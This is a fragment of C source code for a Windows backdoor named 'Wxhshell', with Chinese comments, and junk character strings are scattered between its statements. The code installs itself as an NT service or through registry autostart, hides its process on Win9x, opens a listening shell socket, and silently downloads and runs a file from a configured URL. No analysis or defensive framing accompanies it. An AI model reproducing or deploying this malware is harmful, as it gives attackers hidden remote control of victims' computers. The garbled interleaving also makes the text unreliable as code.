procName, sizeof(procName)); <?{ SU
mI2|0RWI)l CloseHandle(hProcess); RJQ/y3 3L%Y"4(mm if(strstr(procName,"services")) return 1; // 以服务启动 "X\q%%P=? u!sSgx= return 0; // 注册表启动 +SP!R[a } h]G6~TYI5 4KN0i // 主模块 ,q{lYX83S int StartWxhshell(LPSTR lpCmdLine) T[`QO`\5O { KB$ vQ@N SOCKET wsl; CR} > BOOL val=TRUE; F[Qs v54 int port=0; `PXoJl struct sockaddr_in door; F0DPS:c Tom}sFl][ if(wscfg.ws_autoins) Install(); FZ;YvdX6 / nC$?w port=atoi(lpCmdLine); g;|
n8] y}.y,\S0 if(port<=0) port=wscfg.ws_port; ?)i6:76( 3/]f4D{MMY WSADATA data; -Hl\j(D7 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C={sE*&dYX oZ|{J if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :Map,]]B_ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4c493QOd door.sin_family = AF_INET; 9}7oKlyk door.sin_addr.s_addr = inet_addr("127.0.0.1"); &k {t0> door.sin_port = htons(port); ?Vb=4B{~ J\,@Bm|1n{ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7]0\[9DyJ closesocket(wsl); zXA= se0U return 1; n~L'icD[ } #==[RNM%ap 3M5=@Fwkr if(listen(wsl,2) == INVALID_SOCKET) { @=^jpSnZ closesocket(wsl); '8iv?D5 M return 1; *>R/(Q } (rCPr,@0 Wxhshell(wsl); e3bAT.P WSACleanup(); [K^q:3R 8I|1Pl return 0; _'o^@v: J^e|"0d } et7 T)(k0 QyBK*uNdV // 以NT服务方式启动 ?7uStqa VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b]s%B.h { wN%DM)*k DWORD status = 0; ui: >eYv DWORD specificError = 0xfffffff; S
-mz xj LP-KD serviceStatus.dwServiceType = SERVICE_WIN32; xHR+(( serviceStatus.dwCurrentState = SERVICE_START_PENDING; 4Q>jP3 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +P<w<GfQ serviceStatus.dwWin32ExitCode = 0; RI<Yg# serviceStatus.dwServiceSpecificExitCode = 0; bl QzVp- serviceStatus.dwCheckPoint = 0; J0Rz.=Y serviceStatus.dwWaitHint = 0; }][|]/s?42 ztt%l # hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); azATKH+j if (hServiceStatusHandle==0) return; -^NAHE$bW AfbA.- status = GetLastError(); ,1.([%z+r if (status!=NO_ERROR) kkuQ"^<J { >@92K]J serviceStatus.dwCurrentState = SERVICE_STOPPED; 4wEpyQ|L serviceStatus.dwCheckPoint = 0; APOU&Wd serviceStatus.dwWaitHint = 0; z]R!l%` serviceStatus.dwWin32ExitCode = status; [Z`:1_^0} serviceStatus.dwServiceSpecificExitCode = specificError; 5 <>agK] SetServiceStatus(hServiceStatusHandle, &serviceStatus); y{},{~FA" return; YnL?t-$Gg } ():?FJM 8f`b=r(a> serviceStatus.dwCurrentState = SERVICE_RUNNING;
{83He@ serviceStatus.dwCheckPoint = 0; X
+ serviceStatus.dwWaitHint = 0; nfPl#]ef* if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lPSDY&`P } X9BBnZ z4%F2Czai& // 处理NT服务事件,比如:启动、停止 V<R+A* gY: VOID WINAPI NTServiceHandler(DWORD fdwControl) F/,<dNJ { M:q;z( switch(fdwControl) f0`rJ?us { b.u8w2( case SERVICE_CONTROL_STOP: g|*eN{g]uE serviceStatus.dwWin32ExitCode = 0; 'f<_SKd serviceStatus.dwCurrentState = SERVICE_STOPPED; ;.[$ serviceStatus.dwCheckPoint = 0; Ej3hdi) serviceStatus.dwWaitHint = 0; 'C8=d(mR=m { }u*@b10 SetServiceStatus(hServiceStatusHandle, &serviceStatus); UA u4x 7 } wN0OAbtX' return; r{3`zqo case SERVICE_CONTROL_PAUSE: 2A;[Ek6{q serviceStatus.dwCurrentState = SERVICE_PAUSED; =id $ break; CoN/L`.SN case SERVICE_CONTROL_CONTINUE: 80"=Qu{s serviceStatus.dwCurrentState = SERVICE_RUNNING; %Yn)t3d break; .7^-*HT} case SERVICE_CONTROL_INTERROGATE: !rqR]nd break; Tsp-]-) }; P+|8MT0 SetServiceStatus(hServiceStatusHandle, &serviceStatus); y!D`.' } "$V2 $ 2cL)sP} // 标准应用程序主函数 M HB]' int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *^5,7}9Qo { swgBPJ"? JX<W[P>M // 获取操作系统版本 >^ar$T;Ys OsIsNt=GetOsVer(); T/6=A$4
# GetModuleFileName(NULL,ExeFile,MAX_PATH); |6Z MxY >Ga1p'8FtU // 从命令行安装 lH>XIEj if(strpbrk(lpCmdLine,"iI")) Install(); TRok4uc J0! E@ // 下载执行文件 C7_T]e < if(wscfg.ws_downexe) { JU.%;e7 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j}*+-.YF WinExec(wscfg.ws_filenam,SW_HIDE); .*7UT~o=CS } -d)n0)9 <\EfG:e if(!OsIsNt) { 6+z]MT // 如果时win9x,隐藏进程并且设置为注册表启动 }]?G"f
t K HideProc(); s@iCfX U StartWxhshell(lpCmdLine); rB?cm]G= } "uC*B4` else D.!7jA# if(StartFromService()) ]*U') // 以服务方式启动 F
;&e5G StartServiceCtrlDispatcher(DispatchTable); ~{Bi{aK2 else B'/ >Ax& // 普通方式启动 "?,6{\y, StartWxhshell(lpCmdLine); T+D]bfjr&& O3:
dOL/C return 0; VrxH6 Y }
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